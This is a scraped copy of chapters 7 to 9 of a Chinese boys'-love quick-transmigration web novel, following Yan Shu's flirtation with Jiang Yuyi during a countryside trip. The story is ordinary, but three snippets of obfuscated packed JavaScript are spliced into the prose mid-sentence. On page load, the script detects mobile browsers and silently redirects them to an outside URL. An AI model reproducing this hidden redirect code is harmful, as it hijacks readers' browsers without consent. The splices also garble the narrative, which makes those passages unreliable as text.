《火葬场见鬼去吧[快穿]》 7. 第 7 章 结束了溯溪,严舒和蒋余意慢慢走回去,夕阳的余晖柔柔挥洒,满地金灿灿。 “等下想吃什么?”蒋余意问。 “都行。”严舒在用纸巾擦脸。 “脸上蹭到什么了吗?”蒋余意停下,凑到严舒面前。 严舒一愣:“什么蹭到?” “我看你擦了这么久——”蒋余意目光停顿,簌簌落下的纸屑掉落,“是不是不舒服?” 严舒盯着自己手里“菜干”,重新拢进掌心:“不是,没缓过神而已。” 蒋余意点头:“好。” 诡异的,两人沉默了几分钟。 蒋余意说:“我以为你玩得不开心。” 严舒:“……”不是,哥们儿,你变了,你不体贴了,这话我怎么接? “哥,我很开心,我就是累了。” “行,晚上早点睡。”蒋余意不置可否。 “……”严舒敏锐地察觉到一丝不对,但又说不出哪里不对。 他秉持着说多错多的想法,没吭声了。 【宿主,肯定是你没夸回去。】系统突然出现,飘到严舒面前,【你怎么能说主角受也男人呢?你应该说——】 ‘停停停,你别说话。’严舒实在怕系统语出惊人。 系统瘪了瘪嘴,然后失落地离开了。 回到房间,严舒先去洗澡,洗到一半,他意识到一件很重要的事情—— 他没衣服! 严舒加快速度,然后冲出去拿了件民宿的睡袍套身上,给蒋余意发消息。 [严舒:哥,那个衣服……在哪里?] [蒋余意:我给你送过来] [严舒:好的,谢谢哥!] [严舒:鞠躬.jpg] 呼!严舒往后一倒,挂在床边小腿有点抽痛,可能在水里撞到了。 叩叩叩—— 严舒立刻弹起来,去开门: “哥!辛苦你了!” “没事。”蒋余意把袋子递过去,“洗澡了?” “嗯。” “怪我考虑不周,早知道给你先送过来。” “没事,有浴袍。” “药膏也在里面——”蒋余意垂眸,“我给你涂点?” “不……不麻烦哥吧?”严舒紧急改口。 蒋余意微笑:“不麻烦。” “我也给哥涂点。”严舒把门打开,让蒋余意进来。 “好。” 两人相对而坐,面面相觑,谁也没先动。 蒋余意目光落在袋子上,严舒似有所觉,马上拿里面的药膏。 “你要不要先去……”蒋余意迟疑,“换件衣服?” “不用,等下我再换,先涂药吧。”严舒刚才躺在床上,已经把自己彻底gay化了—— 他要开始用涂药搞暧昧了。 “等下涂手了换衣服不方便。”蒋余意顿了顿,补充一句,“可能药膏要半个小时才能吸收完。” 严舒见蒋余意这么坚持,也不说什么,点头说好。 他进浴室穿衣服,刚把内裤穿上,脑子灵光一闪,整个人僵在那里。 等下,蒋余意催着他换衣服,是不是因为…… 严舒默默低下头,盯了半秒,他闭眼,慢慢仰起脑袋,回忆自己的浴袍开不开叉。 “嘶——”不想还好,一想就……严舒的五官瞬间皱在一起,有多难看就多难看。 他不敢再乱想,闷头穿衣服。 “过来。”刚出去,蒋余意就朝严舒招手。 “嗯。”严舒努力保持稳定。 “这块皮都掉下来了,不痛吗?”蒋余意捏住严舒的手,指腹轻轻掠过那块脱皮的位置。 “还好。”严舒自己真没什么感觉。 蒋余意把药膏挤到严舒掌心,然后慢慢抹平:“另一只手。” “左手没掉皮。”严舒说。 “但还是红了,涂一点吧。” “好。” 蒋余意给他涂完了,严舒忽然意识到,自己满手都是药膏。 “哥,你给我指头沾一点,我给你涂。” 蒋余意抬头看了他一眼,把自己的手展开:“其实我还好。” 严舒沉默,确实还好,这显得他特别娇弱。 蒋余意微微抬眼:“可能健身器材握得多,磨出茧了。” 严舒:“……谢谢安慰。” 蒋余意被逗笑:“那我就不涂了。”他起身,摸了摸严舒脑袋,“这有什么的。你还年轻,皮肤肯定嫩一点。” 这话不对劲—— 严舒警铃大作,谁和男的讨论……哦,对面是gay,差点忘了。 “可能吧。”他含糊略过这个话题, “六点多了,晚上想吃什么?”蒋余意问。 “都行。”严舒说。 “我发现你好像经常说都行。”蒋余意开玩笑,“就不能试着给我提点要求吗?” “……”严舒心想,我要求你把那个渣男忘了,行不行? “那吃鱼?” “渔庄不一定只有鱼。”蒋余意说,“这里蛮多菜式可以点的,除了个别需要预订。” 严舒反应了几秒,果然,这不是个普普通通的农家乐山庄,不知道背后是谁出资的…… 【是主角受的某个发小,也是家世显赫。】系统忽然出声。 严舒意外:‘你怎么……’ 系统赶紧撇清关系:【宿主,你自己心里说出来的!】 严舒:‘是吗?’他想,自己可能要多注意了。 “我喜欢吃鱼。”他对蒋余意说,“真的。” 蒋余意一怔,轻笑:“所以我算误打误撞吗?” “嗯。” “行,现在走?” “我的手……”严舒朝蒋余意展示,“要不要等会儿?” “先下去等,点菜、上菜都要时间。” “好。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438389|185002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然这里说是农庄,但设施什么的,都称得上一流。 “哥,你要不要再点一些?”严舒问。 蒋余意摆手:“我没什么胃口,一条鱼就够我吃了,你多点些吧。”顿了顿,他忽然对严舒笑了,“这也算我们正式的第一顿饭,我付钱吧。” “不行不行,哥,我都说了我……” “哎,给哥哥一个机会。” “这——” “就这么说定了,明天你再请。” 严舒哑然,大概猜到对方的好意,这顿饭的鱼不便宜,最低等都是进口东星斑,其他的海产也很贵,加拿大牡丹虾、阿拉斯加帝王蟹…… 说实话,他觉得渣攻有点不识好歹了。 蒋余意成熟体贴、温和风趣,相处起来极为舒服,哪怕渣攻再不喜欢对方,起码做到好聚好散吧,非要整个出轨,太不是人了。 【所以渣攻现在后悔了嘛……】系统哼着小调出现,【好宿主,点个扇贝,我想吃。】 严舒狐疑:‘你一个……怎么吃?’ 【我可以尝味道!】系统骄傲地挺起胸膛,【高科技。】 ‘行。’严舒就又点了盘酱汁特调扇贝。 等上菜的闲暇时间,两人又继续聊天了。 忽然,蒋余意的手机响起,屏幕一亮,是一个陌生的电话。 严舒冷不丁想起一个人,他喊系统,问是渣攻吗? 系统摇头:【不是,诈骗电话。】 蒋余意看了眼,按掉了。几秒后,手机又响了。 “可能是诈骗电话。”他不动声色把号码拉进黑名单,放下手机,微笑看向严舒。 “对,最近诈骗电话很多……”严舒顺着说下去。 【真好,渣攻总用新电话骚扰主角受,主角受现在已经有警惕心了。】系统满意地翘起二郎腿,【不过,这个电话是诈骗电话,不是渣攻——】 手机再次响了。 系统眼睛一瞪:【糟糕,这次真是渣攻了!】 蒋余意已经挂了两个电话了,数字乍一看好像和之前的一样。他不想给严舒留下奇怪的印象,毕竟已经打了两通,在别人看来,或许是有人有急事找他。 蒋余意决定还是出去接一下。 “我去接——” 【不行啊!!!宿主!!!是渣攻!!!快阻止!!!】系统撕心裂肺地大喊。 严舒本能地伸手,抢先一步把蒋余意的手机拿起来。四目相对,他镇定地对蒋余意说:“哥,这个骗子不死心,我有技巧把他击退!” 说完,他就接通,对面刚传来一声沙哑的男声“蒋哥……”。 严舒快速回道:“不好意思,不买保险,拜拜!” 啪嗒! 严舒挂了,抬头看向:“哥,厉害不?对面还没说话,我就先声夺人,然后一击即退!” 蒋余意愣了愣:“哦哦,厉害。” 他觉得哪里不对,但又说不出来。 8. 第 8 章 一场古怪而快速的小插曲过了,严舒和蒋余意继续吃晚饭。晚饭过后,休息了一会儿,他们准备去外面看星星。 蒋余意说最佳的观星位置还要走一段路,严舒说没事,慢慢走。 他们走过生锈护栏围起的水泥路后,需要爬一段不好走的山路。陡峭不平,野草丛生,偶尔会碰见一两个上山观星的队伍。 蒋余意在前面打灯,严舒跟在后面。 傍晚的山里少了白天的闷热,掠过脸颊的风带点冷意。 “这里有个坑,小心。”蒋余意伸手,“我拉你吧。” “好。”严舒小心地避开那处陡峭,借蒋余意的力,一把跃上。 这段山路结束,又回到了熟悉的水泥大路,两人可以并肩而行。路灯越来越亮,快要到目的地了,严舒听见远处小商店的外放音响“轰轰”炸开——一首不知名的劲爆舞曲。 “这里都有人卖东西……”严舒感慨。 蒋余意示意他往前看:“挺多人会晚上过来。”前边大概有二三十人的样子。 “难怪。”严舒恍然。 越往前走,人烟愈发稀少,小商店的音响逐渐远去。这边有一片的小型歇息亭,三面临湖,红木搭起弯弯折折的“桥梯”,走路用力点,就会听见哒哒哒的声音。 亭内,幽幽泛黄的仿古灯,照出一方天地。 严舒一进亭,就找位置坐下了。 “哥,你也坐。” 蒋余意默默地看了眼,从口袋拿出湿纸巾,擦了擦长凳。 严舒:“……” “风吹雨打,灰尘多。”蒋余意解释。 严舒叹气:“哥,你怎么不早点说?” 蒋余意笑笑:“你太快了,没来得及。你也算做好事了。” 他不像严舒没骨头似的靠上去,只是微微侧着身子,手肘撑在栏杆,静静地看着夜空。 严舒则下巴抵在手臂上,仰头看天。 不可否认,这里比城市里的夜景漂亮,天际泛着紫蓝的微光,星星闪烁,密密麻麻点缀成一条跨越天梯的银河,中间被云层重重晕染了一笔。 “好看吗?”蒋余意微笑看向严舒。 “好看,没白来。”严舒对星星没什么执着,但原主很喜欢,他翻看对方的朋友圈,发现了不少星星照。 但美景人人都爱看,不追逐不意味着不喜欢,只是没那么狂热。 “那就好。”蒋余意轻轻说道。 “谢谢。”严舒觉得无论如何,他还是要感谢这份好意。或许对方身边只是暂时需要一个人,但用了心到底是不一样的。 蒋余意笑了笑,没说什么。 周围很静,时不时响起虫子的鸣叫,像平静的湖面惊起的一丝波澜。 “你还没告诉我,我是一个怎么样的人?”蒋余意忽然问。 “哥,准备好听夸了吗?”严舒煞有介事地说。 蒋余意被逗笑:“准备好了。” “性格好,脾气好,成熟稳重,细心体贴,谈吐得体,风度翩翩,从头到脚的完美。” “这就是你想了一天的答案?”蒋余意扬了扬眉。 “还不够啊。”严舒开玩笑,“再夸多一点,就是金佛转世了。” 蒋余意没接话,大概沉默了一会儿,他微不可闻地叹气:“世界上不可能有完美的人,你只是——” 严舒看过去,蒋余意恰好也转过头,两人对上眼睛。 “不够了解我。”蒋余意平和地说。 严舒眨了眨眼:“还有时间呢,我应该能活到六十吧。” 蒋余意嘴角微扬:“祝你长命百岁。” “哥也是。” “好。” 严舒冷不丁发问:“哥,咱们自信点,你就是这么完美,谁说你不完美的?我帮你骂回去。” 蒋余意哭笑不得:“为什么这么问?” “直觉。”严舒撑住脑袋,“哥一看就自信大方,肯定被别人影响了。” “……谢谢。” “肺腑之言,真心实意。” 蒋余意点头:“我知道了。” 又是安静的几秒。 “我不算体贴,也没有那么得体,对于一些事情,我也有很多私心,我偶尔也控制不住脾气,维持不住所谓的好性格……”说到这里,蒋余意笑了,“甚至很傲慢,看不到低位的人。” 严舒琢磨了下这段话,呼唤系统:‘这是渣攻说过的话?’ 系统甩着彩虹头浮现:【后面是。渣攻说过主角受目中无人,傲慢至极,这些年来他在低位小心翼翼地伺候主角受,主角受把他呼来喝去,完全不考虑他的想法,他过得战战兢兢,很痛苦。】 严舒思考:‘理由是?’ 系统继续翻阅:【呃,我找找。可能和主角受追人的方式有关,因为渣攻需要还债,所以当时主角受追求对方时,是以各种理由直接送钱的,后面暗示说愿意为自己恋人解决所有困难,渣攻咬咬牙就表白了,所以他对钱很敏感。】 【谈恋爱时,渣攻还是很贴心的。哪怕主角受再忙,他都会去接人下班。主角受哪里不舒服,也会请假照顾,后来创业很忙,他也会以主角受的需求优先。主角受很感动,每次都会道谢,然后拼命砸钱回去。渣攻一方面需要钱,另一方面又无法平衡好他的自尊心。两人很多莫名其妙的矛盾,就是和钱有关……】 严舒想了想:‘我觉得渣攻的目标不够明确。’ 系统:【怎么说?】 严舒没继续解释,反而盯着蒋余意。 蒋余意被盯了久了,有点不自在:“怎么了?” 严舒:“哥,你告诉我,到底哪个傻逼说的,我去骂他。” 蒋余意:“……” 他揉了揉严舒脑袋:“别说脏话。” 严舒轻啧:“这不算脏话——” 蒋余意改揉为敲:“算。” 严舒忽然眯起眼睛:“哥,不会是你前男友吧?” 蒋余意一顿,慢慢收回手。他不太想聊这个话题,可能今晚月色不错,不想平白破坏。但严舒凑得更近,像是抓到了狐狸尾巴:“真是啊?” 蒋余意没躲,这个距离很近,连鼻息间的气流都在轻轻缠绕。 “为什么是前男友?”他刻意强调“前”的重音。 “哥有男友还单独和我出来玩不合适吧?”严舒歪头,“哥一定是个有边界感的人。” 蒋余意淡淡一笑:“也许我不是?而且你又不是gay,两个朋友出来不可以吗?” “哥,你心虚了。”严舒幽幽地说,“看来你和前任分得不太愉快。” “……”蒋余意被堵了话口,慢慢地把视线移开。 严舒像来劲儿了:“哥,你最近不会就因为这个,所以心情不好吧?” 蒋余意斜睨:“你哪里看出来我心情不好了?” 严舒:“直觉,有时候你是放空的,看起来心情很差。” 蒋余意:“是吗?” “嗯。” “可能你感觉错了。” “没有。” “有。” “没有。” “有。” …… 两个人很幼稚,在车轱辘话里一来一回。 蒋余意突然薅了一把严舒的脑袋:“我要收回早上对你的看法了。” 严舒回忆了一下:“为什么?” “你不是活泼,你是缺心眼。” 严舒撇嘴:“哥,我也收回去,你不完美,你有点小心眼。” 蒋余意大笑:“这就对了。” “哥,我能再八卦一下吗?” “……说。” “你什么时候分的?” “……” “好吧,你不说也行。” “……” “对不起。” 蒋余意叹气:“半个月前吧。” “哦哦。”严舒用指甲在木头上画了个圆圈。 蒋余意摸了摸掉皮的木漆:“为什么问这个?” 严舒想了想,又看蒋余意一眼。蒋余意看回去:“说吧,我不计较。” 严舒恭维:“哥哥果然大气。” 接着,他长长叹一口气:“哥还在情伤里,我给哥解闷,哥还不领情。” “怎么还会装可怜……”蒋余意捏了下他的脸。 严舒眯眼,笑嘻嘻地说:“哥,你转移话题了——真是情伤啊。” 蒋余意嘴角微僵,第一次觉得一个人说话又好听又难听。 严舒歪头:“不过,哥,他分手是他没眼光,你会找到更好的。” 蒋余意不置可否:“你为什么觉得是他提的分手?不是我提的分手?” 严舒本来想继续“戴高帽”,但不知道为什么,话到嘴边,看着蒋余意低垂、有些忧郁的眼睛,改口了: “谁提不重要,一段感情结束了,证明下一段感情就要来了。哥,你的好运在后头。” 蒋余意慢慢弯起眼睛:“借你吉言,看看下一段感情什么时候来。” 严舒心一跳,毫无缘由的,他总觉得对方在点自己。 呃、进度太快了……当然,也可能是他想多了。 “一定会来的。”他含糊说,“哥,你想喝酒吗?” “不想。” “我想。”严舒对着他笑。 蒋余意也笑了:“那怎么办?” 严舒麻利地起来:“我去买——” 他跑到亭子外面,又转头:“哥,要不要给你带点什么?” 蒋余意笑着摆手:“不用,慢点走,别摔了。” “知道了!” 严舒还是跑着过去了。 风声在耳边呼呼,直到小商店陌生的舞曲越来越大声。他买了三听啤酒、一瓶矿泉水和一瓶红茶。 回去他没跑,反而放慢了脚步。 “这么快?”蒋余意听到声音,转过头。 亭子和长梯有一道阴影的分割线,严舒走出来。 “还好,我腿长。” “是挺长的。”蒋余意视线往严舒腿上看。 “哥,真不喝?”严舒晃了下袋子。 “怎么买这么多?” “怕你抢我的。” “少来。”蒋余意无语,“我不喝,你自己喝。” “红茶呢?” “……你买了?” “嗯。” “其实我对茶一般。”蒋余意完全转过身,“不过,你买了我就喝吧。” “喏——”一道抛物线过去。 “谢谢。”蒋余意接住了。 严舒往蒋余意旁边坐,塑料袋簌簌作响。 “你喝得了这么多吗?”蒋余意粗略看了眼。 “这易拉罐很小——你看。”严舒展示,“就200ml,迷你装的。” “想多尝几个味?” “哥懂我。” “还买了矿泉水……” “嗯,给哥买的。” 蒋余意一怔:“好,谢谢。” “真的一口都不试?”严舒拉开易拉罐的口子,“喝酒才没烦心事。” “我烦什么了?” “烦感情。” 蒋余意拧开红茶盖:“没有。” “哦。”严舒喝了几口,就懒洋洋地倚着,看向天空,“我懂。” “懂什么?”蒋余意若有所思地看过去,“你也烦感情?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438390|185002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是呀,寂寞,想谈恋爱。”严舒一下喝了半瓶,晃了晃,又一大口。 “你长得这么好,想谈还不简单?” “不简单啊。”严舒叹气。 “以前没谈过吗?” “我……”严舒顿住,呼叫系统。 ‘原身以前谈过恋爱没?’ 系统:【初中算吗?谈了一年呢。高中也谈了一年。】 严舒只好说:“呃,早恋过,但应该不算,还很小。” 蒋余意笑而不语,曲起指骨,弹了下严舒额头:“和我装纯呢?” 严舒轻啧:“我不是渣男啊,我谈恋爱是奔着一辈子的,找老婆你懂不。” 蒋余意似笑非笑:“哟,还挺浪漫。” “你笑我。”严舒不满。 蒋余意敷衍:“没笑你,挺好的,慢慢来,按找老婆的标准去吧。” 严舒:“你又笑我。难道不对吗?你不是这样?”他嘟嘟囔囔:“难怪分了……” 蒋余意斜睨他一眼,慢条斯理地说:“我不这样,我找老公。” “咳咳……”严舒呛住了。 蒋余意神色不变:“但很遗憾,我眼光不太好。” 严舒不吭声了,默默把剩下的啤酒喝完,又开了一听新的。 “怎么不说话了?”蒋余意凑前了一点。 “我总不能附和你吧。” 蒋余意抿唇轻笑。 “这边星星好像变多了。”严舒支着脸,看着天。 “说不定会有流星。”蒋余意也仰起头。 “是吗?” “嗯。” 湖面被风吹起阵阵涟漪,严舒被额前的碎发挠到眼睛,有点痒,他用手揉了一下。 “眼睛痒?”蒋余意低声问。 “嗯,头发刺了刺,但一直有什么,可能有睫毛进去了。”严舒用力眨了下眼,总觉得被什么刺着。 “别一直揉,手脏。”蒋余意拉了下严舒手腕,“我替你吹一下?” “嗯。”严舒努力睁大眼睛。 蒋余意手指轻轻搭在严舒脸颊边,朝泛红的眼睛吹气,连着吹了几下,严舒有点想躲,又被掰回了脑袋。 “眨眨眼。”蒋余意拿了纸巾,摁着严舒眼角,“好像有条睫毛。” “……”严舒努力眨了。 蒋余意凑得更近,纸巾揩过那根细细的睫毛:“嗯,弄出来了。” “谢谢。”严舒眨眼的频率变快。 “睫毛太长的烦恼。”蒋余意指腹轻擦了下严舒的眼尾,那点湿润被抹掉。 “对,太长了。”严舒嗓子眼像被什么压着。 亭子的光不怎么亮,却能在这个距离,看清彼此所有的细微情绪。 蒋余意看着那一眨一眨的睫毛,心也随着那点起伏而波澜。 一种柔软的,泛滥的,好似水草般的多情愁绪环绕着他,无法动弹。 “哥,你不会爱上我了吧?”严舒冷不丁打破这个氛围。 蒋余意手指僵住,但他很快,用平日那个温和、稳当的声音说:“你长得这么帅,谁都会爱你的。” 严舒又歪了下头,脸颊蹭过蒋余意的掌心,那点摩擦的微妙触感,让蒋余意指尖抽动了一下。 “放心,哥知道你是直男。”蒋余意说,“以后要按找老婆的标准谈恋爱,我都知道。” 严舒心想:我可不是这意思,我钓你呢。 “哥,说实话,如果你是女的,我一定被你迷得神魂颠倒。” 蒋余意扯扯嘴角,用手指轻拍了几下他的脸:“你知道这话在我们圈叫什么吗?” “叫什么?”严舒一副疑惑的样子。 “直男的把戏。” “……”严舒无辜,“哥,什么意思?” 蒋余意垂眼:“你猜猜看?” 严舒故作思索,眼神往旁边飘,忽然,他眼睛睁大:“我去,流星!” 蒋余意反射性看过去,夜空里的一刹那银火,只剩一点尾巴,消失不见。 严舒兴奋:“哥,你看到没!” “看了点尾巴。”蒋余意久久没回神,这是他第一次看流星。 “哥许愿没?” 蒋余意摇头:“太快了。” “我许了。” “许了什么?” “我许愿——” “等一下。”蒋余意打断,“说出来会不会不灵?” “流星没这么小气吧。”严舒“啊”了一声,“我还给哥带了一份愿望。” 蒋余意看着严舒笑。 严舒:“我许愿早点找到老婆。” 蒋余意笑容收敛了一点。 “哥早点找到老公。”严舒说最后两个字的时候,有点烫嘴。 蒋余意盯着严舒,心想这小子不是故意的吧。那双眼睛依旧透澈、明亮。他不咸不淡地说:“好啊,我找到了第一个和你说。” 严舒眨了眨眼,果断往蒋余意肩膀上栽。 “哥,头晕,我可能醉了。” 蒋余意低头看那毛茸茸的脑袋,伸手,捏住了严舒的耳垂。 严舒瞬间觉得那地方发热。 “真醉了?”蒋余意问。 “嗯……”严舒含糊地应了声。 “听说醉了的人进湖里不会动,我试试看。”蒋余意说完,作势要把严舒抱起来。 严舒:“……”好狠。 “哥,我好像不晕了。”他幽幽地说,“需要一个善良的人带我回去睡觉。” 蒋余意凉凉地问:“以后还乱说话吗?” “不说了。”严舒认怂认得很快。 蒋余意哼笑一声,又捏了捏严舒的耳垂,没说什么了。 9. 第 9 章 喝酒真的掉脑髓。 严舒第二天从床上醒过来时,白花花的天花板让人发晕。 【宿主,快起来,主角受要来了!】系统扒拉严舒的被子。 严舒一个激灵,鲤鱼打挺地下了床。 洗漱的时候,系统喋喋不休:【宿主,你昨晚做得非常好,回去后,主角受看你给的红茶看了足足十分钟!证明……】 ‘停——’严舒头皮发麻,吐掉嘴巴的泡沫,‘这些不用告诉我。’ 系统歪头:【你害羞了啊?】 严舒面无表情:‘再吵我就静音。’ 系统傲娇一哼:【小气鬼,喝凉水,略略略!】消失前,它还给严舒做了个鬼脸。 严舒:‘……’ 他叹气,怎么和带小孩一样。漱完口,他先打湿脸,拿毛巾擦,又洗了毛巾。 哗啦啦的水声里,严舒琢磨昨晚的事情,应该算在暧昧吧? 他表现得也算明显……对方好像也不排斥,接下来该…… 严舒不确定自己会不会被看出来,不过,就算对方看出来了,也没什么。毕竟蒋余意好像就是喜欢—— 清纯款? 门铃响了—— 严舒手忙脚乱地把脸上的水擦干净,跑到门口开门。 “哥,早!”他心里吹了声口哨。 蒋余意一身精心打扮的轻熟休闲风,微微倚靠在门框,一条腿曲起,双手抱臂,笑容迷人:“早——” “哥起得好早。”严舒退了一步,让开位置。 蒋余意挑眉,放下手臂,慢吞吞地走进来:“十点半了也早?” 严舒顺势关上门:“周末我一般睡到中午。” 蒋余意皱眉:“这个习惯不好。” 严舒愣了下:“哦哦,主要没什么事情。” “是熬夜吧?周末也不能放纵自己。” “就熬一点,哪个大学生不熬夜?” “对身体不好。”蒋余意不赞同,“以后早点睡。” 严舒没立刻回答,蒋余意看他一眼,放软语气:“不是责怪你,我是希望你好。 ” 严舒摸摸鼻子:“哦。” 他心想:蒋余意居然是这一款的…… “换衣服,我们一起下楼吃早餐吧。”蒋余意说。 严舒像抓到什么漏洞:“你看,你也没吃早餐。” 蒋余意淡淡瞥他一眼:“我吃了。” 严舒反应过来:“哥陪我吃?” “你不想?” 严舒眨眨眼,直接给了个飞吻:“给我三分钟。” 砰!浴室门关上了。 蒋余意坐了下来,目光四处环顾,还挺干净的。对于男生来说,不算乱。 “哥!走吧!”头顶冷不丁传来声音。 蒋余意回神:“好,走。”忽然,他挑眉:“发型很帅。” “不是人帅吗?”严舒用发胶紧急弄了个三七侧分。 “人也帅。”蒋余意抬抬下巴,“去穿件外套,今天气温降了。” “好。” 外面在下小雨,淅淅沥沥,天地笼罩着一层雾气。 一楼的用餐区坐了不少人,大部分都在闲聊。两边的玻璃窗滴滴答答,水珠纵横交错。 严舒把一大段油条浸在豆浆里,一口吃下去,心满意足。 “哥,下午还去钓鱼吗?” “看雨势大不大吧。”蒋余意支着下巴,“慢点吃,不着急,小心噎着。” 严舒摇头:“我不急,我就是这么吃,一口没了——”他张嘴给对方看。 蒋余意轻笑,看着严舒不说话。 严舒闭上嘴巴:“怎么了?” “真可爱。” 严舒:? “……能夸帅吗?” 蒋余意点点头:“嗯,真帅。” 【宿主,如果一个人夸对方可爱,代表非常非常喜欢哦~】系统一脸陶醉地说。 严舒头疼:‘你别看这么多偶像剧——’ 【不是看剧,是我的某一任宿主说的。】系统严肃地竖起一根手指,【他是我最接近成功的一任宿主,他帮助主角受彻底离开渣攻的打扰,可惜最后主角受因为抑郁症,神经病变太严重了,最后还是情绪崩溃,空间破碎了。】 说到这里,它叹了一口气,颇为遗憾。 【宿主,希望你能实现0的突破。】 严舒一顿,心情些许复杂。 “怎么不吃了?”蒋余意见严舒愣在那里,轻敲了在桌面。 “没,刚才肚子有点撑,顺了一下。” “七分饱就可以了。”蒋余意提醒,“吃不下不用勉强。” “我把剩下的豆浆喝了。” “嗯。” …… 这场雨越下越大,丝毫没有颓势,反而暴雨倾盆,天地变成一片雨幕,远远望去,青山重叠,几分如梦如幻。 蒋余意站在玻璃前,看着狂风将大树的枝头折断,吹到簇拥浮萍的深潭里,破开一道口子。 咔哒—— “前台真有围棋。”严舒从外面进来,顺手打开灯,“哥,你怎么不开灯?” “忘了。”蒋余意转过身,“你跑床上干嘛?” “在床上玩啊。” “你没换衣服。”蒋余意微微拧眉。 “哥,这是我的床。”严舒无语。 “所以我坐上去不好吧?” “非常好,我同意了。”严舒从床这边滚到那边,扯蒋余意衣角,“快快快。” 蒋余意掀开被子的一角,侧坐下来,没像严舒那样,八爪鱼似的在床上翻。 棋盘铺开,严舒握了一把黑子,摊开,单数。 “你先下。” 蒋余意“嗯”了声,执起白子放下。 严舒紧追,棋子落到木制的格子上,声音沉闷。 一开始还比较快,渐渐的,两人的速度下来了。 “进步了,回去有好好练啊。”蒋余意熟练地摸了下严舒的脑袋。 严舒得意:“当然。” 旁边的系统:【……】 它幽怨地把脑袋凑到蒋余意手下:【不,是我在和你下。】 “不过,还是哥那晚教得好,回去我研究吸收了。” 蒋余意改摸为捏,觉得男生脸颊的手感不错。 “嗯,真棒。” 这一局的后半段,系统放水了,不能强得太离谱,严舒这边兵败如山倒。 “再来!”严舒一副不服输的样子。 “行。”蒋余意没意见。 第二局、第三局、第四局……除了前两局有系统辅助,后面都是严舒自己下的。 “好了,休息一下吧,你下到后面脑子糊涂了。”蒋余意阻拦了严舒分棋的动作。 严舒一把倒在枕头上:“不行——” “我坐久了腰痛,我不行。”蒋余意叹气,“照顾下我。” “你直接上来呗,我无所谓的。”严舒爬起来,把围棋收走,要把蒋余意拉上来。 蒋余意拍开他的手:“别闹,我鞋都没脱……” 严舒骨碌下了床,把蒋余意的皮鞋脱掉,推人上去了。 蒋余意错愕:“等下,你——” 严舒热情至极:“哥,我给你按按腰。” 蒋余意浑身僵硬,赶紧出声:“喂!你先洗手!” “哥,我摸的是你的鞋。” “所以快去。”蒋余意一顿,“你帮我拿个拖鞋过来,谢谢。” “知道了。”严舒先去拿拖鞋,又去洗手。出来后,蒋余意斜靠在枕头上,手里拨弄几颗棋子。 “哥——”严舒笑眯眯地凑过去。 蒋余意不像刚才那么慌张,淡淡地瞥他一眼。 “哥什么眼神?”严舒上了床。 “无事献殷勤,非奸即盗。”蒋余意说。 “我替哥按摩是关心,没有其他意思。”说着,严舒直接将手搭在蒋余意腰上,按了一下,“哥腰不好?腰肌劳损?” 蒋余意斜乜过去:“有点。” “哥平时工作久坐吧。”严舒示意蒋余意翻身,“哥,你趴着,我给你按按,我学过。” 蒋余意惊讶:“学过?” “嗯。”严舒把枕头平放,“你抱着它,头靠在上面比较舒服。” “好。” 蒋余意一一照做后,严舒开始按了。确实如他所说,是有专门学过的,手法特别专业。 蒋余意的腰和后颈经过一番按摩,酸胀感散去,非常舒服。 “怎么样,哥?”严舒笑着问。 “嗯,不错。”蒋余意微微闭上眼睛。 “会不会太大力?” “不会。” “行。” 严舒吭哧吭哧地一阵使劲儿,而蒋余意昏昏欲睡,耳边是沙沙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438391|185002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨声,半开的窗户吹进清爽的微风,男生时不时询问的嗓音清朗舒适,他感到前所未有的放松。 “哥,我按得还行吗?”严舒有点累,额头出汗。 “行。” “还有哪里需要按吗?” “肩膀吧。” 严舒嘴角抽了抽:“……”哥,你是真不客气。 他无声吐出一口气,咬咬牙,本来打算结束按摩就—— 现在看来对方享受上,真结束恐怕是猴年马月。按了几个来回,他凑过去说: “哥,我给你弄点按摩油可以吗?” “哪来的?”蒋余意闭着眼睛问。 “我找前台要的。” “……”蒋余意忽然支起手臂,往后一睨,“什么时候?” 严舒表情镇定:“你猜。” 蒋余意似笑非笑,但他没追着问,只说:“需要我脱衣服吗?” “按肩膀要脱,如果只是按腰和后颈不用。” “那就只按腰和后颈吧。” “好。”严舒心里松口气。 他先搓油,掌心热了后,轻轻搭上对方的后颈,揉了好一阵后,他又给掌心搓了新的油,这次的阵地是腰。 严舒把蒋余意的衣摆卷到起来,露出健康的蜜色肌肤,脊椎的沟壑往上延伸,很快随衣服的遮掩消失,后腰位置凹进小小的一块地方。 “哥,你这里怎么了?”严舒试探地戳进那小小凹进去的地方。 “小时候被烫到的,结疤掉了一块就这样了。”蒋余意不自然地曲了曲膝盖。 “哦哦。” 严舒小心地把手放上去后背,沿着沟壑的两边,一推一收,轻轻按揉。 